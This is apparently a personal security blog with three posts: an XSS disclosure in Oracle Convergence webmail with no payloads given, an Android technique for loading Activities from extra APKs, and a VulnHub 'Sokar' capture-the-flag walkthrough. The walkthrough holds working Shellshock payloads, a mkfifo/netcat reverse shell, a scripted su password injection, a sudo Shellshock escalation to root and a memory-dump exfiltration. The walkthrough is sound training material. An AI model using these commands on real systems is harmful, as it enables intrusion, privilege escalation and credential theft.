piątek, 13 listopada 2015

Oracle Convergence: never-ending story of 0-day

...DARY!!! Finally, I can write about one of my findings, vendor fixed it. Some of you might be familiar with Oracle's product called Convergence. It is a web application, part of Oracle Communications Messaging Server. According to wiki:

"Oracle's Messaging Server could potentially be the most widely deployed commercial email server on the planet, with claims of 150 million mailboxes deployed worldwide (mostly by ISPs, telcos, universities, government, and cable TV broadband providers)."

Quick search on Google for "Convergence webmail" shows there are few instances running around ;)

Now imagine there was a Cross Site Scripting vulnerability in it...no big deal right? 

Little background about Convergence...almost everything is handled by JavaScript, so with XSS you can do whatever you want, send emails, add contacts, read emails etc. More interesting, right? 

What if this vulnerability was inside part which displays email message, so to get owned you only had to open malicious email? Now we talking :)

Ahh, one more thing, I have found 2 of these :)

Now, before you continue... I want to play a game with you... What do you think... How long it took for Oracle to fix these issues? 

Got number of days? How many months it is? 

So one of them around 5 months, and the second one around… hmmm... 15-16 months. Yes, they knew about it for at least 15 months... how long was it there... who knows.

Let the fun part begin.

Issue#1: Images bad! We protect!

This one has been found 2nd, but fixed as 1st (only 5 months). Email clients protect users by blocking images inside message. Sooo our message has a img inside:
"Hey Bob! How we gonna block these images in our webmail?"
"That's super easy man, just replace all ‘src=*’with empty string"
Yes, you see it right. You are protected in 100% from nasty pictures and in addition you receive XSS! If you decide to stop the protection mechanism XSS goes away.

I won't provide ready to use PoC, reason should be clear.

Interesting thing I've learnt about Oracle... if you are their customer (long story short, I've used my previous company’s account to contact them) and you report vuln in their app they will do 2 things:
- patch it quietly,
- don't give you any credits at all.
Thank you Oracle, great work! In the end, they closed my ticket and fixed reported issue, yay!

Issue#2: Don't rush mate... be coool!

Now the 15 months one...btw to make things funnier, there was a workaround to stop this vulnerability, but I'm not aware of any comms from Oracle to their customers to apply it (#SuperHardCommandToChangeOneOption).

Every webmail client has to have proper XSS filters in place. JavaScript can add new "depth" to messages, but probably noone wants that kind of "depth". There are different ways to sanitize message. I have no idea what had been used in Convergence, but basing on the 1st issue I'd say "replace" FTW!

For some reasons they really didn't like this string:

which properly placed (somewhere in the middle) would let an attacker inject any html tag into the message viewer :) To hide any sign of malicious message I had to inject an opening tag for comment too (browser will close this one for you). 

So here's my evil message waiting inside inbox:

Let's view it:

Here's how this looks in code:

I won't post how the message should look, because I'm quite sure a lot of companies are still running vulnerable versions (one can still find instances vulnerable to stuff described here, lol).

I have just found CVE number of my issue (hopefully this one is mine, lol): CVE-2015-4793. Found it while googling for link to security patch release xD

This ends my story with Oracle... I have received a simple: "Issues reported by you have been fixed [....] Thank you" email. Also seen my name and surname in credits box in release notes. Yay!! 

Hopefully I will never have to report anything in Oracle's product again...

poniedziałek, 23 lutego 2015

Android - Loading Activity from additional apk

( update: source code can be found here: https://github.com/marcing-dev/APK_loading )

Some time ago I've found a way of executing Activities in Android that are not located in original apk. Here’s a little story about that!

Every Android developer who was writing big app probably had a problem with limitation of number of references in one apk file. There're few ways to deal with it for example something called Multidexing (https://developer.android.com/tools/building/multidex.html). Developer can also create an instance of ClassLoader that will load classes from another apk, and then just use these classes.
Code below shows that:

Here’s a class I’ve created in additional apk:

and a log:
>_ term
02-20 12:26:01.466  15412-15412/pl.com.marcing.android.dynamicactivityloader I/DynamicClassLoadActivity﹕ Trying to load new class from apk.
02-20 12:26:01.466  15412-15412/pl.com.marcing.android.dynamicactivityloader I/DynamicClassLoadActivity﹕ dexInternalStoragePath: /data/data/pl.com.marcing.android.dynamicactivityloader/app_dex/test.apk
02-20 12:26:01.466  15412-15412/pl.com.marcing.android.dynamicactivityloader I/DynamicClassLoadActivity﹕ New apk found!
02-20 12:26:01.466  15412-15412/pl.com.marcing.android.dynamicactivityloader I/DynamicClassLoadActivity﹕ New object has class: pl.com.marcing.android.customdex.NewObject
02-20 12:26:01.466  15412-15412/pl.com.marcing.android.dynamicactivityloader I/DynamicClassLoadActivity﹕ Invoking getInfo on new object: New object info
This approach is nice, but has its limitations. For example you can't run new Activities using it, why? Because when you start new Activity original application ClassLoader is used.
ClassLoaders are written in Java and they are normal objects inside app, so one can get access to them. Of course they are written in such way that normal access is impossible. You can't just simply grab a ClassLoader object and start setting attributes inside it. I could end my story here but fortunately there is a thing called Java Reflection API. It gives you possibility to do almost anything with Java objects. Let's check an example class:
This class has an attribute named "guardedAttribute". It's private and there's no way you can change it normally. So here's an output of test app using that class: 
>_ term
guardedAttribute: I'm private, u can't change me!
guardedAttribute: Oh really?
guardedAttribute value changed :) Here's code of this app:
I think there's no need for explanation here. If field is final you can also change its value but if it’s primitive type u basically gain nothing cause classes will use old value. But if that final attribute is some object and you change it to new one, class will use the new one.
Let's go back to Android...I have created new apk containing Activity like this one:

I modified method for loading custom classes to look like that:

When I’ve tried to run new Activity from new apk this error showed up:

>_ term
android.content.ActivityNotFoundException: Unable to find explicit activity class {pl.com.marcing.android.dynamicactivityloader/pl.com.marcing.android.customdex.TestActivity}; have you declared this activity in your AndroidManifest.xml?
Activity is not specified in AndroidManifest.xml...So let's specify it (there was an error....ignored it).

Let's check it again:
>_ term
    Process: pl.com.marcing.android.dynamicactivityloader, PID: 14987
    java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{pl.com.marcing.android.dynamicactivityloader/pl.com.marcing.android.customdex.TestActivity}: java.lang.ClassNotFoundException: Didn't find class "pl.com.marcing.android.customdex.TestActivity" on path: DexPathList[[zip file "/data/app/pl.com.marcing.android.dynamicactivityloader-2.apk"], nativeLibraryDirectories=[
/data/app-lib/pl.com.marcing.android.dynamicactivityloader-2, /system/lib]]
Still error but this time different.  Going through source code of BaseDexClassLoader I’ve found that attribute holding paths to apks and libs is named “pathList”.  So I created some custom ClassLoader and then got out its “pathList” and set it to application ClassLoader. This will force app ClassLoader to load classes from my apk. Everything looks like that:

In addition I'm saving old classpath and adding it to the new one so there are no errors. Let's see what will happen when I'll try to load new Activity:

>_ term
02-20 11:51:46.742  15359-15359/pl.com.marcing.android.dynamicactivityloader I/DynamicActivityLoadActivity﹕ Test: dalvik.system.DexClassLoader[DexPathList[[zip file "/data/data/pl.com.marcing.android.dynamicactivityloader/app_dex/test.apk", zip file "/data/app/pl.com.marcing.android.dynamicactivityloader-1.apk"],nativeLibraryDirectories=[/data/app-lib/pl.com.marcing.android.dynamicactivityloader-1, /system/lib, /system/lib]]]
02-20 11:51:46.750  15359-15359/pl.com.marcing.android.dynamicactivityloader I/TestActivity﹕ ::onStart
02-20 11:51:46.750  15359-15359/pl.com.marcing.android.dynamicactivityloader I/TestActivity﹕ action inside TestActivity
This time everything went smooth and new Activity has been started :) Impossible is nothing! 

That's all, I think that people will find some interesting tricks that can be done using this technique. I for example, have made an app that gives user option to add new features to it. User clicks button, app connects to server, downloads required apk and runs it. Activity loader can be inside new apk. Application loads loader class from apk and fires it passing context to it. The best thing about that approach is that if u load “different” apk you can get different results. Have fun!

Source code can be found here: https://github.com/marcing-dev/APK_loading

S(H)O(C)KAR - "Who's Apophis?" - shortcut run!

After some absence, I’ve returned to hacking the (virtual) boxes. I’ve chosen random 2 for a good start. Sokar was one of them. I’ve grabbed it from here.

I must say, in the beginning I didn’t think that this challenge will be so cool (it really keeps your brain busy and check true skills not skills in finding some clue hidden inside some Latin text hidden inside jpg and so on). It took me 3 days (not a whole 3 days xD) to crack this one, and I’m glad I found it.

Ok let’s play!

Day I

As always, first things first. Let’s find our target:
>_ term
# netdiscover -i eth1 -r
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
IP At MAC Address Count Len MAC Vendor
----------------------------------------------------------------------------- 08:00:27:b0:82:0a 01 060 CADMUS COMPUTER SYSTEMS 08:00:27:00:44:e4 01 060 CADMUS COMPUTER SYSTEMS 08:00:27:f2:40:db 01 060 CADMUS COMPUTER SYSTEMS

Target’s IP is: The other ones are IP of my host system and DHCP server. Next thing, port scan:

>_ term
# nmap -sV -A -n -p1-65535

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-07 05:32 CET
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.49% done
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 2.77% done; ETC: 05:55 (0:22:14 remaining)
Stats: 0:13:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.11% done; ETC: 05:52 (0:06:49 remaining)
Nmap scan report for
Host is up (0.00039s latency).
Not shown: 65534 filtered ports
591/tcp open  http    Apache httpd 2.2.15 ((CentOS))
| http-methods: Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: System Stats
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

1   0.39 ms

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 858.28 seconds
So one open port: 591, with Apache on the other side, rest reported as filtered. Damn…there’s high possibility there’s a firewall running there. I’ve opened my browser and here’s what I’ve got:
Ok, going through source code shows me that there’s cgi-bin script running. I’ve started Dirbuster to check for any other things hosted but nothing interesting had been found. I’ve tried to look here and there, scanning udp, looking for vulns in Apache used on server…nothing. It was getting late so I decided to leave the challenge…end of day 1.

Day II

I decided to look on this challenge differently…why look for something new…let’s stick with what I’ve already found. There’s a cgi script running, so probably that’s where I should look for a way in. I’ve asked google about: “cgi-bin vulnerabilities” and here’s what I saw:

Shellshock! That’s something…heard about it, read about it, but never tried to use it. Here’s what they suggested as PoC:
>_ term
# wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
I’ve changed IP and path to cgi and executed it. Voila:
>_ term
# wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
--2015-02-09 10:00:33--
Łączenie się z połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: nieznana [text/plain]
Zapis do: `cat'

    [ <=>                                         ] 986         --.-K/s   w  0s    

2015-02-09 10:00:33 (10,9 MB/s) - zapisano `cat' [986]

# cat cat

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
So now I was inside :) I started looking here and there, what’s inside different folders, what possibilities gives me my current access level. Using wget all the time was not an option so I’ve grabbed and changed Python script to help me out:
I’ve tried to create some reverse shell but unfortunately firewall blocked all my attempts. I found interesting script in one of user’s home for creating memory dump of the machine. I’ll try using that later. Time passed and I still didn’t have anything interesting…so I moved to “/var/mail” as that’s a place where sometimes you can find some useful info. And I found something, a mail to one of the users:
>_ term
# python python_shocker.py /cgi-bin/cat "/bin/ls -la /var/mail/"
200 OK

total 12
drwxrwxr-x. 2 root    mail 4096 Dec 30 21:09 .
drwxr-xr-x. 8 root    root 4096 Nov 12 13:29 ..
-rw-rw----  1 apophis mail    0 Dec 30 19:20 apophis
-rw-rw-r--. 1 bynarr  mail  551 Dec 30 21:09 bynarr

# python python_shocker.py /cgi-bin/cat "/bin/cat /var/mail/bynarr"
200 OK

Return-Path: <root@sokar>
Delivered-To: bynarr@localhost
Received:  from root by localhost
To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100
Subject: Welcome

Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.
A user account has been setup for you.

UID 500 (bynarr)
GID 500 (bynarr)
    501 (forensic)

Password 'fruity'.  Please change this ASAP.
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.

All the best in your new role!

User pass (probably not changed) and info about an open port, I couldn’t ask for more :) I’ve tried pushing shell through that port but without success. I’ve checked google…there’s a way to create user specific rules in iptables…good to know! Now I need a way to login as bynarr… My current access didn’t give me a possibility to su to another user. I started searching for some clues…oh I’ve searched a lot. Here’s my discovery (I'm sorry but I can't remember where I found that):
>_ term
(sleep 1; echo test2.,) | python -c "import pty; pty.spawn(['/bin/su','test2','-c','whoami']);"
This sends user password to su spawned by python. Quick test on my local machine and it works great!  But how can I run it inside target system? There are quotation marks and quotes…I couldn’t  use it in my script…I had to find another way…but that’s a task for the next day…


I woke up in the morning with an idea in my head…let’s create script inside target looking like:
>_ term
# cat cmdx
(sleep 1; echo fruity) | python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','$1']);"
I can execute something like that with my python script, but how will I create that script inside target with my current access? After a while I’ve decided to try using base64.
>_ term
# base64 cmdx
My first try was looking like that:
>_ term
# python python_shocker.py /cgi-bin/cat "/bin/echo IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo= | base64 -d > /tmp/su_logger"
200 OK

# python python_shocker.py /cgi-bin/cat "/bin/ls -la /tmp/"200 OK

total 16
drwxrwxrwt.  3 root   root   4096 Feb  9 09:45 .
dr-xr-xr-x. 22 root   root   4096 Feb  9 08:34 ..
drwxrwxrwt   2 root   root   4096 Feb  9 08:34 .ICE-unix
-rw-rw-r--   1 bynarr bynarr 1349 Feb  9 09:45 stats
-rw-r--r--   1 apache apache    0 Feb  9 09:45 su_logger
This doesn’t look good…for some reason this didn’t work as I hoped it would. My bad…I forgot that I need bash for pipe and stuff, let’s update my command:
>_ term
# python python_shocker.py /cgi-bin/cat "/bin/bash -c '/bin/echo IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo= | base64 -d > /tmp/su_logger'"
200 OK

# python python_shocker.py /cgi-bin/cat "/bin/ls -la /tmp/"
200 OK

total 20
drwxrwxrwt.  3 root   root   4096 Feb  9 09:45 .
dr-xr-xr-x. 22 root   root   4096 Feb  9 08:34 ..
drwxrwxrwt   2 root   root   4096 Feb  9 08:34 .ICE-unix
-rw-rw-r--   1 bynarr bynarr 1527 Feb  9 09:46 stats
-rw-r--r--   1 apache apache  104 Feb  9 09:46 su_logger

# python python_shocker.py /cgi-bin/cat "/bin/cat /tmp/su_logger"
200 OK

(sleep 1; echo fruity) | python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','$1']);"
I’ve made it executable:
>_ term
# python python_shocker.py /cgi-bin/cat "/bin/chmod +x /tmp/su_logger"
and tried it out:
>_ term
# python python_shocker.py /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"whoami\"'"
200 OK

Bullseye! You can call me bynarr starting from now. It’s good there are always someone who doesn’t change his password. You can believe it or not but with access through that script I’ve managed to get memory dump using lime script inside /home/bynarr and download it. If you are interested, how I’ve done that, you will find all details at the end of this post.
Inside mail to bynarr was also info about an open port. Let’s try it…on my local machine I started netcat:
>_ term
# nc -vv -l -p 51242
listening on [any] 51242 ...
and invoked my python script:
>_ term
# python python_shocker.py /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"/bin/rm /tmp/f; /usr/bin/mkfifo /tmp/f; /bin/cat /tmp/f | /bin/sh -i 2>&1 | nc 51242 > /tmp/f &\" 2>&1'"
200 OK
Let’s go back to netcat:
>_ term
# nc -vv -l -p 51242
listening on [any] 51242 ... inverse host lookup failed: Unknown server error : Connection timed out
connect to [] from (UNKNOWN) [] 50696
sh: no job control in this shell
sh-4.1$ whoami
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash");'
python -c 'import pty;pty.spawn("/bin/bash");'
[bynarr@sokar cgi-bin]$
Immediately I spawned shell with python (I will need it). I had memory dump already so I didn’t need to create another one, cudaHashcat (for hashes found inside dump) was still downloading, so I’ve decided to look around and see what else I can do with my new, fresh shell. I googled around for “shellshock and sudo”. There was question about shellshock and sudo on Stack Overflow. They tried to do something like that:
>_ term
# export MAIL="() { :;} ; echo busted"; sudo <command>
but as they wrote, that didn’t work. I tried doing the same inside the target, because I saw MAIL env in sudo -l:
>_ term
[bynarr@sokar cgi-bin]$ sudo -l
sudo -l
Matching Defaults entries for bynarr on this host:
    !requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS

User bynarr may run the following commands on this host:
    (ALL) NOPASSWD: /home/bynarr/lime

[bynarr@sokar cgi-bin]$ export MAIL="() { :;} ; echo busted"
export MAIL="() { :;} ; echo busted"
[bynarr@sokar cgi-bin]$ sudo /home/bynarr/lime
sudo /home/bynarr/lime

Linux Memory Extractorator

LKM, add or remove?
> q
Invalid input, burn in the fires of Netu!
No busted visible…damn it. As my Internet was damn slow and I still didn’t have newest cudaHashcat, I’ve decided to read sudo manual. Here’s what interested me:
>_ term
sudo [-AbEHnPS] [-C fd] [-g group name|#gid] [-p prompt] [-r role] [-t type] [-u user name|#uid] [VAR=value] [-i | -s] [command]
Hmmm…[VAR=value] looks promising. Let’s try it:
>_ term
[bynarr@sokar cgi-bin]$ sudo MAIL="() { :;} ; echo busted" /home/bynarr/lime
sudo MAIL="() { :;} ; echo busted" /home/bynarr/lime
busted <- check this out!!!

Linux Memory Extractorator

LKM, add or remove?
> q
Invalid input, burn in the fires of Netu!
[bynarr@sokar cgi-bin]$
I must say…I was happy like a small boy who just got his birthday present. Let’s finish this out!
>_ term
[bynarr@sokar cgi-bin]$ sudo MAIL="() { :;} ; /bin/bash" /home/bynarr/lime
sudo MAIL="() { :;} ; /bin/bash" /home/bynarr/lime
[root@sokar cgi-bin]# whoami
[root@sokar cgi-bin]# ls -la /root
ls -la /root
total 36
dr-xr-x---.  2 root root 4096 Jan 15 21:14 .
dr-xr-xr-x. 22 root root 4096 Feb  9 08:34 ..
-rw-------.  1 root root    0 Jan 27 19:30 .bash_history
-rw-r--r--.  1 root root   18 May 20  2009 .bash_logout
-rw-r--r--.  1 root root  176 May 20  2009 .bash_profile
-rw-r--r--.  1 root root  176 Sep 23  2004 .bashrc
-rw-r--r--   1 root root  678 Jan  2 17:21 build.c
-rw-r--r--.  1 root root  100 Sep 23  2004 .cshrc
-rw-r--r--   1 root root  837 Jan 15 21:14 flag
-rw-r--r--.  1 root root  129 Dec  3  2004 .tcshrc
Before typing the last command I’ve just stopped for a minute, just to enjoy the view.
>_ term
[root@sokar cgi-bin]# cat /root/flag
cat /root/flag
                0   0
                |   |
         0  |~ ~ ~ ~ ~ ~|   0
         |  |   Happy   |   |
  0   |    B i r t h d a y    |   0
  |   |/\/\/\/\/\/\/\/\/\/\/\/|   |
|                                   |
|     V  u  l  n  H  u  b   ! !     |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |

| Congratulations on beating Sokar! |
|                                   |
|  Massive shoutout to g0tmi1k and  |
| the entire community which makes  |
|         VulnHub possible!         |
|                                   |
|    rasta_mouse (@_RastaMouse)     |
Done! Challenge complete ^^ That’s all folks…

Ok not all…I promised I’ll show how I took the memory dump.  I didn’t have interactive shell access and I needed to pass “add” to script in order to create dump. You can cat file with “add” inside to script and it’ll work:
>_ term
# python python_shocker.py /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"echo add > /tmp/add\"'"
200 OK


# python python_shocker.py /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"cat /tmp/add\"'"200 OK


# python python_shocker.py /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"sudo /home/bynarr/lime < /tmp/add\"'"
200 OK


Linux Memory Extractorator

LKM, add or remove?
# python python_shocker.py /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"ls -la /tmp\"'"200 OK

total 261720
drwxrwxrwt.  3 root   root        4096 Feb  9 10:25 .
dr-xr-xr-x. 22 root   root        4096 Feb  9 08:34 ..
drwxrwxrwt   2 root   root        4096 Feb  9 08:34 .ICE-unix
-rw-r--r--   1 bynarr bynarr         4 Feb  9 10:24 add
prw-r--r--   1 bynarr bynarr         0 Feb  9 10:22 f
-r--r--r--   1 root   root   267971584 Feb  9 10:25 ram
-rw-rw-r--   1 bynarr bynarr      1705 Feb  9 10:25 stats
-rwxr-xr-x   1 apache apache       104 Feb  9 09:46 su_logger
As you can see there’s a new file named ram containing memory dump. Now…how to get it out without open ports (I forgot about 51242 :) ? Base64 was helpful as always:
>_ term
# python python_shocker.py /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"base64 /tmp/ram\"'" > tmp_ram
# ls -la tmp_ram
-rw-r--r-- 1 root root 366697981 lut  9 11:30 tmp_ram
It’s still base64 and there’s another problem, during transport newline chars have been broken and typing base64 -d tmp_ram will give you an error. Good there’s dos2unix. After fixing, file will be decoded properly and you will have a piece of memory to look inside. I executed strings on it and found hashes (from /etc/shadow) for root, apophis and bynarr (that’s why I needed cudaHashcat). I also looked for firewall rules inside that dump (I still didn’t remember about that open port from mail) and that’s where I found open port for my reverse shell :)